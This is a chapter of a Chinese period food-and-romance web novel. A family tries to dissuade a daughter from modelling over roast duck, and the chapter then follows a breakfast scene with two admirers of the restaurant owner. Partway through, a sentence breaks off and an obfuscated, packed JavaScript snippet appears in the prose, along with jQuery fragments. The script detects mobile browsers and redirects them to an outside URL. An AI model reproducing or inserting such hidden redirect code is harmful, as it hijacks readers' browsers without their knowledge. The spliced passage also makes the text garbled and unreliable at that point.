29. 油烫鸭

作品:《大食堂[80美食吃瓜]

    “阿姨,我的话艾莲姐也不一定听啊。”叶紫岑拉着她坐下:“要我说,你也别太担心了。艾莲姐这么年轻漂亮,身材高挑苗条,说不定真的能在模特界闯出一番天地来呢。”


    “模特?”江春艳皱眉:“不就是在路上走来走去的,能是个什么好职业。还是护士好,又稳定,又实用。”


    戴素英帮腔:“也是,卫生站的工作好多人挤破头想去,紫岑,你还是去跟艾莲聊聊,让她别冲动,这么好的工作,哪能说不干就不干了。”


    江春艳接过话茬:“可不是么!这样,我明天晚上快打烊的时候,我带她过来,就说来给你们捧个场,尝尝新菜,到时候你跟她提一提,你们都是年轻人,互相好说话。”


    小饭馆刚开张,江春艳怕叶紫岑抽不开身,索性自个儿把人带过来。


    叶紫岑还想推拒。都说各人有各人的活法,她自己一个开小饭馆的,还能说做模特不稳定?


    她是真张不开那个口。


    可两个母亲殷殷切切地盯着,叶紫岑也是真张不开拒绝的口。


    叶紫岑:“那,我试试?”


    目的达到,江春艳紧赶慢赶地回了家,在苏艾莲房门口衣不解带地蹲了一宿。


    隔壁的苏伟倒是睡得香甜,震天响的呼噜声透过墙壁传来,气得江春艳牙齿都要咬碎了。


    又经历过精神紧绷的一个白天,好不容易挨到晚上,江春艳迫不及待地拉着苏艾莲来找叶紫岑。


    紫英小饭店门口每天都会架起个小黑板,写上今日的特色菜名。江春艳着急进门,心烦意乱间,左脚不小心勾到了小黑板的架子腿儿,小黑板顺势朝一侧一歪,咣当一声,坠落到地面,成功吸引了店里店外所有人的目光。


    江春艳手忙脚乱地扶起写着“油烫鸭”的小黑板,尴尬地朝闻声而来的戴素英笑了笑:“给我们娘俩来一盘油烫鸭,艾莲最喜欢吃了。”


    “行,快进来吧。”戴素英帮忙将小黑板放好,招呼两人进店。


    店里还有两三桌客人,桌上杯盘狼藉,显然都已吃到末尾,马上便要散场了。


    戴素英将两人引到最里面的空桌旁坐下。


    屁股刚沾到凳子,江春艳就伸长脖子,直直盯向厨房中忙碌的叶紫岑:“紫岑啊,别忙了,来盘油烫鸭就成,你快过来坐。”


    叶紫岑一边应着,一边看过去,很容易便瞧见江春艳眼下一片青黑——可怜天下父母心啊。


    心下一软,叶紫岑不再耽搁,赶紧端着菜坐到苏艾莲旁边。


    刚坐定,江春艳就朝叶紫岑挤眉弄眼,暗示她快些开口。


    叶紫岑清了清嗓子,斟酌着字眼:“艾莲姐,做模特很辛苦的吧,为了维持身材,又要忌口,又要健身的。”


    苏艾莲一脸,‘这你就不懂了吧’的表情:“做模特可不止要身材好,还要颜值高,更要有自己的特点,也就是说要有辨识度。”


    苏艾莲一脸认真:“最重要的,还要有表现力,没有气质和气场,是入不了这行的,就算入了这行,也走不远。”


    而自己,就是非常适合入这行的人,苏艾莲非常自信。


    听到这些,叶紫岑挺了挺腰杆:“那看下来,做模特,要求太高了,还是做护士好,对吧?”


    苏艾莲一百个不同意:“怎么可能,护士要求也高的,不仅要求高,而且也很累。又要搬病人,又要搬器械,还要给不能动的患者翻身、换尿片、擦屁股,给小孩打针打哭了还要被骂,上班时间贼长,还有夜班。”


    苏艾莲深觉自己说得很对,她点点头,一锤定音:“各有各的累法。”


    叶紫岑噎住:说得很有道理。


    戴素英将油烫鸭往苏艾莲面前推了推,打着圆场:“来,先尝尝这鸭子。”


    卧在盘子里的油烫鸭通体泛着琥珀色的油光,鸭皮被热油浇淋出细密的琉璃纹,脆皮下透出的粉润肉质,像是裹了层薄金箔。黄酒浸润鸭肉后经热油激发的醇厚酒气,混着鸭皮油脂的荤香,像一把钩子钻进鼻腔。


    咕咚,苏艾莲情不自禁地咽了下口水。


    “就一口。”终归是没忍住,她撕下指甲盖大的脆皮,舌尖刚触到糖霜的咸甜时,后槽牙已经不受控地咬下去。脆皮在齿间碎裂,温热的油脂混着酒香在口腔爆开,花椒的麻痒从舌尖爬到太阳穴。


    苏艾莲放下筷子,舔了舔唇角,调动出全部的自控力,强行让视线从油烫鸭上移开。


    余光里那截油亮的鸭腿正往下滴着金黄油珠,落在盘底积成一小汪琥珀。


    她可是要做模特的人!要减肥!不能再吃了!


    在苏艾莲与食欲自我搏斗的空档里,江春艳又朝叶紫岑使了使眼色:再劝。


    叶紫岑接收到信号,立刻指哪打哪,道:“那模特的收入很不稳定吧,你挣得钱够花么?”


    苏艾莲强行要求自己的视线从油烫鸭转向叶紫岑:“我现在走一次秀、拍一次片的钱,比我之前上一个月的班挣得还多。”


    叶紫岑:......


    这是个富婆。劝不动,劝不动。


    她词穷。


    叶紫岑转向江春艳,一脸爱莫能助。


    换人上阵。


    戴素英再接再厉:“艾莲啊,阿姨不太清楚模特这个职业,你跟阿姨说说,你每个月都能拍片和走秀吗?”


    苏艾莲道:“这说不准的,有时候一个月十几个,有时候一个月一个也没有。”


    戴素英找到了突破口:“你看,这收入就不如当护士稳定吧。”


    苏艾莲反驳:“就算不稳定都比当护士挣得多,那稳定了还得了?再说,干久了,有长久的合作对象了,就稳定了。”


    戴素英继续:“那这职业又是要求身材,又是要求外貌的,想必是吃青春饭的吧?等你年纪大了,可咋办?要我说,这职业还是不如护士好,护士能旱涝保收,还有编制。”


    “那等我老了,我就去干模特经纪人,也挣钱的。”苏艾莲早已想好了职业道路。


    戴素英疑惑:“这是什么工作?”


    “专门给模特介绍工作的。”苏艾莲解释道:“就是拉皮条的。”


    “那这工作也不好干吧?”戴素英问道。


    苏艾莲反问:“哪有好干的工作?”


    戴素英:……


    她看向江春艳,也是一脸的爱莫能助。


    本次思想工作,宣告失败。


    罢了罢了。一代人有一代人的生存法则。


    社会评价孩子的标准往往是一致的,但孩子都是独立的个体,他们有自己的梦想和追求,有自己的人生路。


    或许作为父母该学会放手,让孩子自己去探索和成长。


    江春艳叹了口气,心里空空落落的。


    夜色渐深,她将油烫鸭打包好,同苏艾莲回了家。两人一路无话,直到进了家,苏艾莲推开自己房间门的那刻,江春艳终于是松了口:“你想做什么,就去做吧。”


    天刚蒙蒙亮时,叶紫岑和戴素英已经起身忙碌起来。包水煎包、煮饣它(sha)汤、炸油条,蒸腾的热气很快让两人的衣衫微微汗湿。


    戴素英焦急地望向路口:“怎么豆浆店老板还没来啊?”


    “可能有什么事耽搁了吧。”叶紫岑也有些心慌。


    她和一家豆制品主营店谈好了合作,每日他们会按时送满满一锅新鲜榨取的豆浆过来,这才不过是第三日,人就来迟了。


    直到营业时间临近,都没见鲜豆浆送来。叶紫岑叹口气,只好先将豆浆的菜单遮上。


    石头来得早,他照常找了个靠近厨房的位置。


    即便他上工的地点与紫英小饭馆可以说是一个在城东一个在城西,石头仍然宁愿早起绕路也要过来。


    可他来了后,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150399|164845||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    除了点餐外,并不多说话,只坐在位置上时不时看几眼叶紫岑忙碌的身影。


    此时,叶紫岑正踮着脚够高处吊架上放着的调料,轻薄的衣衫因她的动作向上牵引,露出一截雪白的腰线。


    那抹白如羊脂,晃得石头眼睛发热。


    他轻咳一声,掩饰般低头,喝了两口汤,润润干燥的嗓子。


    余光忍不住瞥向厨房,正巧扫见一旁刚刚包好,还没下锅的水煎包——白白的嫩嫩的软软的香香的,像那截雪白的细腰。


    “汪汪汪!”一声响亮的狗叫打断了石头旖旎的思绪。


    他猛然收回视线,耳根发烫。黝黑的皮肤因为泛红显得更黑了。


    穆十君照常将小白拴在了小饭馆门口的大树上,进了店门。


    “穆先生,早。”石头带着被抓包的僵硬,同站在身旁的穆十君打招呼。


    他穿了件月白色的长袖衬衫,纽扣规规矩矩地扣到了最顶上那颗。袖口整齐得向上翻折了两次,露出腕上戴着的上海牌手表。


    手表在晨光里泛着淡金,晃花了石头的眼。


    石头低头看了看自己身上的卡其色工装,因为洗了很多次,已经有些发白,袖口上也出现了磨损的痕迹。


    “早。”穆十君点头回应,他依然故意坐在了石头对面,遮挡住其望向叶紫岑的视线。


    树根旁的小白冲着店里汪汪汪得直叫唤,吓得客人不敢进店。


    穆十君叹了口气,不得不又走了回去,轻轻收紧牵引绳,制止小白噪声扰民的行为:“坐好,等会儿给你吃水煎包。”


    听到这话,小白立马安静了下来,乖乖等在树根下,只是眼睛却死死盯着店内的石头。


    石头被小白盯得很不自在,他不自觉地加快了进食的速度,狼吞虎咽地吃完早饭,同叶紫岑和戴素英打了声招呼,逃也似得走了。


    叶紫岑端了一盘水煎包放在穆十君面前,提醒道:“刚出锅的,小心烫。”


    她躬身上菜时,带着灶台余温的衬衫衣摆不小心触碰到穆十君搭在桌沿的手背,的确良滑腻的触感带来酥酥麻麻的颤栗,穆十君指节骤然绷紧,僵硬得像个雕塑。


    喉间火烧火燎,他回答的声音也有些沙哑:“好……”


    同一时间,送豆浆的小伙子终于来了,他把二八自行车刹在店门口,从后座儿上接下绑着的豆浆桶,连声道歉:"对不住啊叶老板!”


    ”今早店里有个人临时有事请了假,店里人手不够,就做得慢了些,不好意思啊,耽搁您生意了……”他解释着。


    “没事,没事,送来就好,快给我吧。”戴素英从厨房冲出来,急吼吼地接过豆浆桶,又冲回厨房。


    很多事情往往就是越急越乱。转身间,戴素英的手肘不小心撞上了也要回厨房的叶紫岑,乳白色的豆浆猛得晃出半瓢,正浇在了叶紫岑胸口上。


    湿淋淋的布料立刻贴住肌肤,勾出饱满的轮廓,隐隐透出白嫩的肤色。


    “哎呦!”戴素英惊呼。


    穆十君站起身,摸出块蚕丝帕子,递了过去:“用这个吧。”


    他的声音比帕子还轻,尾音有些发颤。


    叶紫岑低头接过:“多谢。”


    蚕丝帕子陷入湿痕,帕角金线绣着的瘦金体"穆"字,正正巧盖住了那抹起伏。


    穆十君喉结重重一滚,脸红得胜过炉膛里的炭火,整个人似乎都烧了起来。


    他分明看见帕子下透出的一点樱粉,像暮春时节被雨打湿的海棠苞。


    穆十君慌张得移开视线,不着痕迹地挪了挪脚步,遮挡住其他人的视线。


    他虽然看起来有些瘦弱,但正正好能将叶紫岑笼在身下。


    邓丽君的歌声恰在此刻漫过街道:"甜蜜蜜,你笑得甜蜜蜜——“音像店里的双卡录音机把缠绵的调子送了小饭馆,盖过了收拾残局时发出的窸窣响动。